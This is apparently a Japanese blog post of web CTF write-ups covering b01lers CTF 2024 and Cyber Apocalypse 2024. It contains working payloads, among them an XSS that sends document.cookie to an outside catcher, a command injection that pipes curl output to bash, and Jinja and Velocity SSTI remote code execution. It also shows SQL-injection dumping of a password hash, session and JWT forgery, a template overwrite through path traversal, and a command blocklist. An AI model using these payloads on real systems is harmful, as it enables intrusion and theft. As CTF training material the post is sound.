はまやんはまやんはまやん

hamayanhamayan's blog

b01lers CTF 2024 Writeups

web/b01ler-ad

const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');

'"`が使えない状態でXSSさせる問題。
それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。
<script src=//c748-194-180-179-191.ngrok-free.app/a.js></script>
こんな感じにして、ngrokで以下のようなものを公開しておけばrequest catcherの方にcookieが飛ぶ。
fetch('https://afsiwek32k45owoawe.requestcatcher.com/test', { method : 'post', body: document.cookie })

web/3-city-elves-writeups

os.system(f"bash -c \'echo \"{content}\" > {filename}\'")

のcontentに文字を入れ込んでコマンドインジェクションをして、/flag.pngを抜いてくる問題。
以下の文字が禁止されている。

"bin","base64","export","python3","export","ruby","perl","x","/","(",")""\\","rm","mv","chmod","chown","tar","gzip","bzip2","zip","find","grep","sed","awk","cat","less","more","head","tail","echo","printf","read","touch","ln","wget","curl","fetch","scp","rsync","sudo","ssh","nc","netcat","ping","traceroute","iptables","ufw","firewalld","crontab","ps","top","htop","du","df","free","uptime","kill","killall","nohup","jobs","bg","fg","watch","wc","sort","uniq","tee","diff","patch","mount","umount","lsblk","blkid","fdisk","parted","mkfs","fsck","dd","hdparm","lsmod","modprobe","lsusb","lspci","ip","ifconfig","route","netstat","ss","hostname","dnsdomainname","date","cal","who","w","last","history","alias","export","source","umask","pwd","cd","mkdir","rmdir","stat","file","chattr","lsof","ncdu","dmesg","journalctl","logrotate","systemctl","service","init","reboot","shutdown","poweroff","halt","systemd","update-alternatives","adduser","useradd","userdel","usermod","groupadd","groupdel","groupmod","passwd","chpasswd","userpasswd","su","visudo","chsh","chfn","getent","id","whoami","groups","quota","quotaon","quotacheck","scp","sftp","ftp","tftp","telnet","ssh-keygen","ssh-copy-id","ssh-add","ssh-agent","nmap","tcpdump","iftop","arp","arping","brctl","ethtool","iw","iwconfig","mtr","tracepath","fping","hping3","dig","nslookup","host","whois","ip","route","ifconfig","ss","iptables","firewalld","ufw","sysctl","uname","hostnamectl","timedatectl","losetup","eject","lvm","vgcreate","vgextend","vgreduce","vgremove","vgs","pvcreate","pvremove","pvresize","pvs","lvcreate","lvremove","lvresize","lvs","resize2fs","tune2fs","badblocks","udevadm","pgrep","pkill","atop","iotop","vmstat","sar","mpstat","nmon","finger","ac","journalctl","ls","dir","locate","updatedb","which","whereis","cut","paste","tr","comm","xargs","gunzip","bunzip2","unzip","xz","unxz","lzma","unlzma","7z","ar","cpio","pax","ftp","sftp","ftp","wget","curl","fetch","rsync","scp","ssh","openssl","gpg","pgp"

この制約で色々やると''を使ったコマンド分割が有効であることが分かる。
ec''ho abc | cu''rl 34584921375821348972314.requestca''tcher.c''om --request PO''ST -d @-
が刺さった。

ここから死ぬほど試行錯誤して、最終的に以下で解いた。
conohaでいい感じにVMを借りてきて、80/tcpでwebサーバを立ち上げ、index.htmlを以下のようにしておく。

cp ../flag.png /app/assets/flag.png

つまり、そのまま持って来るのではなく、assetsに置くまでをコマンド実行する。
これはなぜかというと、flag.pngは14MBのクソデカフラグでいい感じに持って来るのがかなり大変であるためである。
これで適当にもらってきたIPアドレスを使って

`cu''rl [ipaddress] | ba''sh`

を実行する。これでindex.htmlの中身が実行されて、/flag.png/app/assets/flag.pngにコピーできる。
あとは、/static/flag.pngにアクセスしてフラグを回収する。

web/imagehost

フラグはadmin権限でログインできれば手に入る。
怪しい所を見ると、tokens.pyが怪しい。

def decode(token):
    headers = jwt.get_unverified_header(token)
    public_key = Path(headers["kid"])
    if public_key.absolute().is_relative_to(Path.cwd()):
        key = public_key.read_bytes()
        return jwt.decode(jwt=token, key=key, algorithms=["RS256"])
    else:
        return {}

kidを使って公開鍵を参照している。
試すとここはパストラバーサルできるので、任意のローカルの公開鍵を強制することができる。

他の部分を見るとアップロード機能がある。

async def upload(request):
    if "user_id" not in request.session:
        return PlainTextResponse("Not logged in", 401)
    
    async with request.form(max_files=1, max_fields=1) as form:
        if "image" not in form:
            return RedirectResponse("/?error=Missing+image", status_code=303)
        
        image = form["image"]
        
        if image.size > 2**16:
            return RedirectResponse("/?error=File+too+big", 303)
        
        try:
            img = Image.open(image.file)
        except Exception:
            return RedirectResponse("/?error=Invalid+file", 303)
        
        if image.filename is None or not image.filename.endswith(
            tuple(k for k, v in Image.EXTENSION.items() if v == img.format)
        ):
            return RedirectResponse("/?error=Invalid+filename", 303)
        
        await image.seek(0)
        filename = Path(image.filename).with_stem(str(uuid.uuid4())).name
        with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f:
            shutil.copyfileobj(image.file, f)
        
        async with request.app.state.pool.acquire() as conn:
            async with conn.cursor() as cursor:
                await cursor.execute(
                    "INSERT INTO images(filename, user_id) VALUES (%s, %s)",
                    (filename, request.session["user_id"])
                )
        
        return RedirectResponse("/", 303)

見るとアップロード物は画像としてpillowが判定する必要がある。
ということで、画像として読み込めて、public keyとしても使えるものをアップロードできれば良さそう。

openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pem

で使う鍵ペアを作って、小さいgif画像を用意し、cat small.gif public_key.pem > payload.gifのようにくっつけてやればいい。
アップロードすると、

<img src="/view/11241632-ac26-4489-9faa-2a2c0dc60207.gif" />

のようにファイル名を教えてもらえるので、それとprivate keyを使ってjwtを作る。

import jwt

token = jwt.encode(
    {"user_id": 1,"admin": True},
    open('private_key.pem', 'rb').read(),
    algorithm="RS256",
    headers={"kid": "../uploads/11241632-ac26-4489-9faa-2a2c0dc60207.gif"})
print(token)

これのjwtを使えばフラグ入りの画像がもらえる。

web/pwnhub

app.secret_key = hex(getrandbits(20))とあり、鍵が弱すぎる。

>>> hex(getrandbits(20))
'0xd1a52'
>>> hex(getrandbits(20))
'0x3da82'

全探索できますね。

.eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM

これを解析する。 以下のように辞書を作って

for i in range(0x100000):
    print(hex(i))

以下のように解析。

$ flask-unsign -c ".eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM" --unsign --wordlist ./dic.txt --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'evilman'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 769664 attempts
b'0xbbe18'

鍵が分かったので作り直す。

$ flask-unsign --sign --secret '0xbbe18' --cookie "{'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'admin'}" --no-literal-eval
.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.Zhtxag.glcjdVQTDK2M1VN8RBh2OtOUuR8

これでadminログインはできた。
後は、SSTIできる箇所があるので、フィルターを回避しながら頑張る。
postを作る所を見ると、

@app.post('/createpost', endpoint='createpost_post')
@login_required
def createpost():
    not None
    content = request.form.get('content')
    post_id = sha256((current_user.name+content).encode()).hexdigest()
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected' )
    current_user.posts.append({str(post_id): content})
    if len(content) > 20:
        return render_template('createpost.html', message=None, error='Content too long!', post=None)
    return render_template('createpost.html', message=f'Post successfully created, view it at /view/{post_id}', error=None)

のように入れてから文字数判定をしているので、エラーが出ても無視してポストを作成できる。
表示させるときは以下のようになっている。

@app.get('/view/<id>')
@login_required
def view(id):
    if (users[current_user.name].verification != V.admin):
        return render_template_string('This feature is still in development, please come back later.')
    content = next((post for post in current_user.posts if id in post), None)
    if not content:
        return render_template_string('Post not found')
    content = content.get(id, '')
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected')
    return render_template_string(f"Post contents here: {content[:250]}")

文字数の上限は実質250文字。
それよりもINVALIDによる文字制限が厳しい。

INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

これを使わずにSSTIする。
とりあえず{% print config %}が動くのは確認できたので、/flag.txtを何とかとって来る。
頭を打ち付けて以下のような感じでフラグが得られた。
ベースは一瞬でできていたが、変な回り道をしてしまった。

import requests
from hashlib import sha256
import html

BASE = 'http://pwnhub.hammer.b01le.rs/'
session = '.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.ZhtTiQ.wi4Exyx1Z8qVmt6BBpWhSkpE28g'
payload = "{% print lipsum | attr(request|attr('referrer')) | attr(request|attr('mimetype'))('os') | attr('popen')('cat /flag*')|attr('read')() %}"

requests.post(BASE + 'createpost', cookies={'session':session}, data={'content':payload})

post_id = sha256(('admin'+payload).encode()).hexdigest()
t = requests.get(BASE + 'view/' + post_id, cookies={'session':session}, headers={
    'Referer': '__globals__',
    'Content-Type': '__getitem__'
}).text
print(post_id)
print(html.unescape(t))

web/b01lers_casino

怪しい所がないか探すと、ソート条件にpasswordが使われている変な部分が目に付く。

def fetchScoreboard():
    conn = sqlite3.connect("casino.db")
    cur = conn.cursor()
    cur.execute("SELECT fullname, password, balance, username FROM casino")
    scoreboard = cur.fetchall()
    
    # Convert list of tuples to list of dictionaries
    scoreboard_dicts = []
    admin_password = ""
    for row in scoreboard:
        fullname = row[0]
        if row[3] == "admin":
            admin_password = row[1]
        scoreboard_dicts.append({
            'fullname': fullname,
            'password': row[1],
            'balance': row[2]
        })
    # Sorting list of dictionaries
    scoreboard_sorted = sorted(scoreboard_dicts, key=lambda x: (x['balance'], x['fullname'], x['password']), reverse=True)
    print(f"Admin password is {admin_password}")
    for i in range (len(scoreboard_sorted)):
        print(scoreboard_sorted[i])
        if scoreboard_sorted[i]['password'] == admin_password:
            scoreboard_sorted[i]['fullname'] = "The Real Captain Baccarat"
    return scoreboard_sorted

adminの(balance, fullname, password)(1000000, "Captain Baccarat", admin_password)という感じ。
passwordの比較まで回すためには、balance, fullnameを一致させる必要がある。
fullnameは重複できるので、同じものを登録できる。
問題はbalanceで初期状態は500。
何処かで変えられないかなーと見てみるとPOST /slotsで変更可能。
パスワードもPOST /update_passwordで帰れるのでOK。二分探索とかをうまく使いながらadmin_passwordを特定する材料が揃った。

ということで以下のような二分探索コードでフラグが得られる。

import requests
import json

s = requests.Session()
BASE = 'https://boilerscasino-4ecd9eb8f0d2c3cb.instancer.b01lersc.tf/'

s.post(BASE + 'register', json={
    "fullname":"Captain Baccarat",
    "username":"evilman",
    "password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"
}, verify=False)
t = s.post(BASE + 'login', json={"username":"evilman","password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"}, verify=False).text
s.cookies["jwt"] = json.loads(t)['jwt']

s.post(BASE + 'slots', json={"change":999500}, verify=False)

lo = 0x0000000000000000000000000000000000000000000000000000000000000000
hi = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

while lo + 1 != hi:
    md = (lo + hi) // 2
    p = '{:064x}'.format(md)

    s.post(BASE + 'update_password', json={"new_password":p}, verify=False)
    t = s.get(BASE + 'scoreboard', verify=False).text
    me = t.index('Captain Baccarat')
    you = t.index('The Real Captain Baccarat')
    if me < you:
        hi = md
    else:
        lo = md

print(lo)
print(hi)

for admin_password in [lo, hi]:
    ss = requests.Session()
    t = ss.post(BASE + 'login', json={"username":"admin","password":'{:064x}'.format(admin_password)}, verify=False).text
    if 'jwt' not in t:
        continue
    ss.cookies["jwt"] = json.loads(t)['jwt']
    print(ss.get(BASE + 'grab_flag').text)

Cyber Apocalypse 2024: Hacker Royale Writeups

https://ctftime.org/event/2255

[Web] Flag Command

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
この世のものとは思えない不思議な森の迷路で目覚める「次元脱出クエスト」に出発しよう。歌うリス、いたずら好きなニンフ、不機嫌な魔法使いなど、異世界の驚きにつながるかもしれない気まぐれな迷宮をナビゲートしよう。魅惑の迷路を制覇するのか、それとも魔法の試練に満ちた異次元の世界に迷い込んでしまうのか?旅はこの神秘的な脱出劇で展開する!

ソースコード無し。
サイトにアクセスするとコンソールが出てくる。
helpと入力するとコマンド一覧が出てきて、startでゲームが遊べる。
一通り遊んだあとにプロキシログを眺めるとGET /api/optionsで面白い応答がある。

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

選択肢が帰ってきているがsecretというのがある。
なのでサイトを開いて、startを実行しBlip-blop, in a pickle with a hiccup! Shmiggity-shmackを入力するとフラグがもらえる。

[Web] KORP Terminal

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

ソースコード無し。
ログインページが与えられる。
SQL Injectionを色々試すと、usernameを'にするとエラーが出た。

{"error":{"message":["1064","1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1","42000"],"type":"ProgrammingError"}}

単純に' or 1=1 #だとエラー。
パスワードも確認していそう?(パスワードだとSQL Injectionは起こらないし)

うーーんと思っていたが、エラーが表示されるのでエラー経由で情報が抜けそう。

' OR updatexml(null,concat(0x0a,(SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES Limit 1,1)),null) # 

PayloadsAllTheThings/SQL Injection/MySQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHubにあるようにupdatexmlを使えばいい感じに抜けた。

`' OR updatexml(null,concat(0x0a,(SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES Limit 1,1)),null) # ` -> korp_terminal
`' OR updatexml(null,concat(0x0a,(select GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'korp_terminal')),null) # ` -> users
`' OR updatexml(null,concat(0x0a,(select GROUP_CONCAT(column_name) from information_schema.columns where table_name='users' Limit 0,1)),null) # ` -> id,username,password
`' OR updatexml(null,concat(0x0a,(select username from users limit 0,1)),null) # ` -> admin
`' OR updatexml(null,concat(0x0a,(select password from users limit 0,1)),null) # ` -> $2b$12$OF1QqLVkMFUwJrl1J1YG9...

あー、途中で省略されちゃいますね。

`' OR updatexml(null,concat(0x0a,(select SUBSTRING(password,1,10) from users limit 0,1)),null) # ` $2b$12$OF1

こんな感じでsubstringでちまちま持って来る。

$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.

john the ripperとrockyouを使うとクラックできる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)

admin:password123でログインするとフラグが得られる。

[Web] TimeKORP

Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

ソースコード有り。
/flagが取得できればフラグ獲得。

phpコードを見ていくと怪しいクラスがある。

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

コマンドインジェクション感がすごい。
使っているのか以下の部分。

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

?format=入力のような形でコマンドインジェクションできる。
%H' && cat '/flagをformatに入れればフラグ獲得。

[Web] Labyrinth Linguist

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

javaで書かれたソースコード付き。
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txtのようにフラグが変名されているので、RCEがゴールだろう。

メインのjavaコードは以下のような感じ。

import java.io.*;
import java.util.HashMap;

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;

@Controller
@EnableAutoConfiguration
public class Main {

    @RequestMapping("/")
    @ResponseBody
    String index(@RequestParam(required = false, name = "text") String textString) {
        if (textString == null) {
            textString = "Example text";
        }

        String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        StringReader reader = new StringReader(template);

        org.apache.velocity.Template t = new org.apache.velocity.Template();
        t.setRuntimeServices(runtimeServices);
        try {

            t.setData(runtimeServices.parse(reader, "home"));
            t.initDocument();
            VelocityContext context = new VelocityContext();
            context.put("name", "World");

            StringWriter writer = new StringWriter();
            t.merge(context, writer);
            template = writer.toString();

        } catch (ParseException e) {
            e.printStackTrace();
        }

        return template;
    }

    public static String readFileToString(String filePath, String replacement) throws IOException {
        StringBuilder content = new StringBuilder();
        BufferedReader bufferedReader = null;

        try {
            bufferedReader = new BufferedReader(new FileReader(filePath));
            String line;
            
            while ((line = bufferedReader.readLine()) != null) {
                line = line.replace("TEXT", replacement);
                content.append(line);
                content.append("\n");
            }
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return content.toString();
    }

    public static void main(String[] args) throws Exception {
        System.getProperties().put("server.port", 1337);
        SpringApplication.run(Main.class, args);
    }
}

読むと、indexメソッドにてtextStringを読み込んで、readFileToStringメソッドを使ってテンプレートに直接埋め込んでいる。
埋め込まれたテンプレートをorg.apache.velocity.Templateが実行している。
SSTIですね。

https://iwconnect.com/apache-velocity-server-side-template-injection/
ここにRCE例がある。
sleep 5を動かしてみるとちゃんと遅くなった。

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat /flag3d7dcfab6c.txt"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

これでフラグが手に入る。

[Web] Testimonial

As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.

golangで書かれたソースコード有り。
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txtとあるのでRCEがゴールだろう。

grpc.goの以下の部分が怪しい。

func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
    if req.Customer == "" {
        return nil, errors.New("Name is required")
    }
    if req.Testimonial == "" {
        return nil, errors.New("Content is required")
    }

    err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
    if err != nil {
        return nil, err
    }

    return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

パスをSprintfで生成していて、ファイル書き込みをしている。
Path Travarsalの雰囲気がある。
呼び出し元をたどろう。

func (c *Client) SendTestimonial(customer, testimonial string) error {
    ctx := context.Background()
    // Filter bad characters.
    for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        customer = strings.ReplaceAll(customer, char, "")
    }

    _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
    return err
}

ブラックリストのフィルタリングがある。
このルートで間違いなさそう。どうやって悪用するかは後で考えるとして、更に呼び出し元をたどる。

func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
    customer := r.URL.Query().Get("customer")
    testimonial := r.URL.Query().Get("testimonial")
    if customer != "" && testimonial != "" {
        c, err := client.GetClient()
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }

        if err := c.SendTestimonial(customer, testimonial); err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)

        }
    }
    return home.Index().Render(r.Context(), w)
}

getのクエリストリングで指定すればいいが、悪用できない…
うーーんと考えているとgRPCをすっかり忘れていることに気が付く。
protoファイルを見ると…

service RickyService {
    rpc SubmitTestimonial(TestimonialSubmission) returns (GenericReply) {}
}

直で呼べる口があるじゃん!!
ここからPath Traversalできる。
grpccを使って呼び出してみよう。
色々頑張ると

https://gchq.github.io/CyberChef/#recipe=Escape_string('Special%20chars','Single',false,true,false)Find/Replace(%7B'option':'Regex','string':'%22'%7D,'%5C%5C%5C%5C%22',true,false,true,false)&input=cGFja2FnZSBob21lDQoNCmltcG9ydCAoDQoJImh0YmNoYWwvdmlldy9sYXlvdXQiDQogICAgIm9zL2V4ZWMiDQopDQoNCnRlbXBsIEluZGV4KCkgew0KCUBsYXlvdXQuQXBwKHRydWUpIHsNCntSQ0UoKX0KCX0NCn0NCg0KZnVuYyBSQ0UoKSBzdHJpbmcgew0KCW91dCwgXyA6PSBleGVjLkNvbW1hbmQoImxzIiwgIi1sYSIpLk91dHB1dCgpDQoJcmV0dXJuIHN0cmluZyhvdXQpDQp9DQ

こういうのをbodyに入れて送るとRCEできる。
つまり、

RickyService@localhost:50045> client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"ls\", \"-la\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

これでRCE出来た。
以下でls /をしてフラグのファイル名を取得。

client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"ls\", \"/\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

以下のようにcatで持って来るとフラグ獲得。

client.submitTestimonial({customer:"../../view/home/index.templ",testimonial:"package home\r\n\r\nimport (\r\n\t\"htbchal/view/layout\"\r\n    \"os/exec\"\r\n)\r\n\r\ntempl Index() {\r\n\t@layout.App(true) {\r\n{RCE()}\n\t}\r\n}\r\n\r\nfunc RCE() string {\r\n\tout, _ := exec.Command(\"cat\", \"/flagcbe1beb221.txt\").Output()\r\n\treturn string(out)\r\n}\r"},printReply)

[Web] LockTalk

In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.

ソースコード有り。

まずは、/api/v1/get_ticketにあるアクセス制限をなんとかする。
haproxy.cfgをみるとhttp-request deny if { path_beg,url_dec -i /api/v1/get_ticket }のようにdeny設定ありますね。

haproxy 2.8.1とバージョン指定で入れられているので脆弱性を見てみる。
(最初Request Smugglingの方かと思ってCVE-2023-40225を深堀して無限に時間を溶かした)
CVE-2023-45539を使う。
https://github.com/advisories/GHSA-79q7-m98p-qvhp
#入りでも送れちゃうと言うことなので、以下のようなリクエストを送ると、チェックをbypassできてjwtがもらえる。

GET /api/v1/get_ticket# HTTP/1.1
Host: 83.136.250.103:31411
Accept: */*

こういうのを送ってみると、

HTTP/1.1 200 OK
content-type: application/json
content-length: 554
server: uWSGI Server

{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

他色々探すと、python_jwt==3.3.3というのが怪しい。
https://github.com/advisories/GHSA-5p8v-58qm-c7fp
これですね。PoCもある。
https://github.com/user0x1337/CVE-2022-39227

